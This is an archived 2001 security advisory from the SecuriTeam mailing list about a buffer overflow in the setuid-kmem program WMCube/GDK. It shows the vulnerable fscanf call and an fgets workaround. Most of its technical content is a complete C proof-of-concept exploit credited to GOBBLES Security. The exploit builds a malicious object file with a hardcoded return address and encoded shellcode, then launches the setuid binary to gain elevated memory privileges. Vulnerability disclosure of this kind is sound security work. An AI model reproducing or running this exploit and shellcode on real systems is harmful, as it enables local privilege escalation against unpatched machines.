[UNIX] WMCube-GDK Yields KMEM Security Privileges

From: support@securiteam.com
Date: 12/21/01


From: support@securiteam.com
To: list@securiteam.com
Date: Fri, 21 Dec 2001 13:14:46 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  WMCube-GDK Yields KMEM Security Privileges
------------------------------------------------------------------------

SUMMARY

 <http://www.ne.jp/asahi/linux/timecop/> WMCube / GDK is a modified and
optimized version of WMCube 0.98. A security vulnerability in the product
would allow an attacker to overflow one of the product's internal buffer
and execute arbitrary code. Since the product is setuid kmem, privileged
access to the memory can be gained.

DETAILS

Vulnerable code:
int loadobj(char *filename)
{
    FILE *fp;
    char tmp[64] = { "" };
    int i = 0, counter = 1;

10:
    ...
    fscanf(fp, "%s", tmp);
    ...
    goto 10;
}

Workaround:
Replace fscanf(fp, "%s", tmp); in loadobj(), wmcube.c with fgets(tmp, 64,
fp);.

Exploit:
/*
 * (c) Andrew / GOBBLES Security
 *
 * PoC exploit for wmcube-gdk
 *
 * Usage: /path/to/GOBBLES-wmcube-gdk-exploit [offset]
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>

unsigned char GOBBLES_shellcode[] =
"\xb8\xf5\xf5\xff\xff\xf7\xd0\x50\xb8\xb3\xba\xac\xde\xf7\xd0\x50"
"\xb8\xb8\xb0\xbd\xbd\xf7\xd0\x50\x89\xe6\x31\xc0\x31\xdb\xb0\xf5"
"\xf6\xd0\x50\x56\x53\xb0\x04\x50\xcd\x80\xb0\x01\x50\xcd\x80";

int main(int argc, char **argv) {
        FILE *fd;
        int i;
        u_long retaddy = 0xbfbff634;

        if(argc == 2)
                retaddy += atoi(argv[1]);

        fd = fopen(".gobbles", "wt");
        fprintf(fd, "WMCUBE_COORDINATES\n");
        fprintf(fd, "1aaa"); // atoi()..
  
   
        for(i = 0; i < 64; i += 8)
                fprintf(fd, "GOBBLES!");

        printf("GOBBLES: Using %lx as retaddy\n", retaddy);
        fflush(NULL);
        fwrite(&retaddy, 4, 1, fd);
        fprintf(fd, "GOBBLES!");
        fprintf(fd, "GOBBLES!");

        fprintf(fd, "%s", GOBBLES_shellcode);
        fprintf(fd, " 0 -42 42\n");
        fprintf(fd, "WMCUBE_LINES\n");
        fprintf(fd, "1 1\n");

        fclose(fd);

        execl("/usr/X11R6/bin/wmcube-gdk", "wmcube-gdk", "-o", ".gobbles",
0);

        unlink(".gobbles"); /* Mum always told me to cleanup when im
done! */
        fprintf(stderr, "System immune against GOBBLES exploit!\n");

        return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:bugtraq@bugtraq.org> bugtraq
(GOBBLES Labs).

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [UNIX] Daydream BBS Format String Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... product allows attackers to exploit a format string vulnerability in the ... This bulletin is sent to members of the SecuriTeam mailing list. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [NEWS] L-Forum SQL Injection Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... arbitrary SQL commands by injecting them through user provided data. ... This bulletin is sent to members of the SecuriTeam mailing list. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [NT] Buffer Overrun in Talentsofts Web+
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... system service, any arbitrary code executed on the server would run in the ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [UNIX] PHP Source Injection in osCommerce
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Would result in a directory listing of the current dierctory ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [NEWS] AutoResponder Allows Spamming
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The AutoResponder program could be tricked by spammers to send unsolicited ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)